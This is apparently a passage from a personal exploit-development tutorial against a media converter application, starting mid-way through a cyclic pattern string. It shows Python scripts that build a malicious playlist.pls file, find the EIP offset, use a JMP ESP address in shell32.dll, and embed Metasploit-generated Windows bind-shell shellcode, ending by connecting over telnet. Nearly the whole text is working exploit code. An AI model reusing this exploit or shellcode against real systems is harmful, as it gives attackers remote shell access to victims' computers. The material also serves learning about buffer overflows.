Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2H"
file=open(nama,"w")
file.write(coba)
print("testing...")
file.close()


then, try to run the fuzzer and the application with ollydbg

after we know charater that overwrite the value of EIP, now we have to find number of character that we made use pattern offset.

then, we know that to reach the EIP registe, we need 5829 byte of data and to reach the stack we need 5837 byte of data.

after that, try to control the value of EIP.


#!/usr/bin/python
nama="playlist.pls"
#coba="A"*26200

coba="\x90" *5829
coba+="\xDD\xCC\xBB\xAA"

file=open(nama,"w")
file.write(coba)
print("testing...")
file.close()

but i can't control the EIP register and the application not crash and i got the result like this

so, i'm so confuse....
but i don't give up and try to repeat the step from begining but ...
now i try to send character A from 26100 until 29200 to make the application crash by manualy to try control the EIP too. and i found the application will crash if i send 26110 character A.


#!/usr/bin/python
nama="playlist.pls"
coba="A"*26110
file=open(nama,"w")
file.write(coba)
print("testing...")
file.close()


and i save it by name easyrmconverter.py

then i try to control the EIP
so, i edit the fuzzer like this


#!/usr/bin/python
nama="playlist.pls"
#coba="A"*26110
coba="\x90" *26110
coba+="\xDD\xCC\xBB\xAA"
file=open(nama,"w")
file.write(coba)
print("testing...")
file.close()

and the result like this.

but, it is not completely fail. based on the picture, i just try to reduce or add the value (26110)

so, i try to reduce first. and the script become like this


#!/usr/bin/python
nama="playlist.pls"
#coba="A"*26110
coba="\x90" *26109
coba+="\xDD\xCC\xBB\xAA"
file=open(nama,"w")
file.write(coba)
print("testing...")
file.close()



and then, i got the resul like this

now i can control the EIP
then try to find the JMP ESP in memory application.
view --> executetables modules and then choose shell32.dll

then press ctrl + F to search the JMP ESP

and we can got the result like this

after that create the payload using ./msfweb
now i will use payload windows bind shell

generate it

copy the payload into the fuzzer


#!/usr/bin/python
nama="playlist.pls"
#coba="A"*26110
coba="\x90" *26109
#coba+="\xDD\xCC\xBB\xAA"
coba+="\xD7\x30\x9D\x7C"
coba+="\x90"*16
coba+=("\xbb\x10\x99\x15\x80\x2b\xc9\xdb\xd6\xb1\x51\xd9\x74\x24\xf4\x5f"
"\x83\xef\xfc\x31\x5f\x0c\x03\x4f\x95\xf7\x75\x93\xcf\x1c\x38\x83"
"\xe9\x1c\x3c\xac\x6a\x68\xaf\x76\x4f\xe5\x75\x4a\x04\x85\x70\xca"
"\x1b\x99\xf0\x65\x04\xee\x58\x59\x35\x1b\x2f\x12\x01\x50\xb1\xca"
"\x5b\xa6\x2b\xbe\x18\xe6\x38\xb9\xe1\x2d\xcd\xc4\x23\x5a\x3a\xfd"
"\xf7\xb9\xeb\x74\x1d\x4a\xb4\x52\xdc\xa6\x2d\x11\xd2\x73\x39\x7a"
"\xf7\x82\xd6\x87\x2b\x0e\xa1\xeb\x17\x0c\xd3\x30\x66\xf7\x77\x3d"
"\xca\x37\xf3\x01\xc1\xbc\x73\x9d\x74\x49\x33\x95\xd8\x26\x3a\xeb"
"\xea\x5a\x12\x0c\x24\xc4\xc0\x94\xa1\x3a\xd5\x30\x45\x4e\x2b\x9f"
"\xfd\x4f\x9b\x77\x35\x42\xe0\xbc\x99\x62\xcf\x9d\x90\x78\x96\xa0"
"\x4e\x8a\x55\xf7\xfa\x89\xa6\x27\x92\x54\x51\x32\xce\x30\x9d\x6a"
"\x42\xec\x32\xc1\x36\x51\xe6\xa6\xeb\xaa\xd8\x4e\x64\x44\x85\xe8"
"\x27\xef\xd4\x61\xaf\x4b\x0c\xf9\xf7\xc3\xce\x2f\x9d\xfb\x61\x9a"
"\x9d\x2c\xe9\x80\xcf\xe3\x03\x9f\xf0\x2a\x80\x4a\xf0\x03\x4f\x91"
"\x47\x22\xd9\x0e\xa7\xfc\x8a\xe4\x03\x54\xd4\xd4\x3f\x3e\xcd\xad"
"\xf9\xc6\x46\xb2\xd0\x6c\x96\x9c\xbb\xe4\x0c\x7a\x2c\x9a\xa1\x0b"
"\x49\x36\x6a\x52\xbb\x0b\x03\x83\xd1\xd7\x9d\xa9\x17\x18\x6e\x87"
"\xa6\xda\xbc\x29\x14\xf7\x2d\x58\xe3\x3f\xf9\xc9\xbf\x28\x8f\xf3"
"\x73\xbe\x90\x7e\x30\x40\xb8\xdb\xef\xec\x14\x8a\x5e\x7b\x96\x7d"
"\x30\x2e\xc9\x82\x62\xb8\x44\xa5\x86\xf7\xc4\xaa\x5f\x6d\x14\xab"
"\x57\x8d\x3a\xd8\xcf\x8d\x38\x1a\x8b\x92\xe9\xf0\xab\xbd\x7e\x8a"
"\x8b\xdc\x0c\x21\xd3\xf7\x0c\x15")
file=open(nama,"w")
file.write(coba)
print("testing...")
file.close()


then, run the fuzzer and run the application without ollydbg

then access use telnet

Alhamdulillah ... :D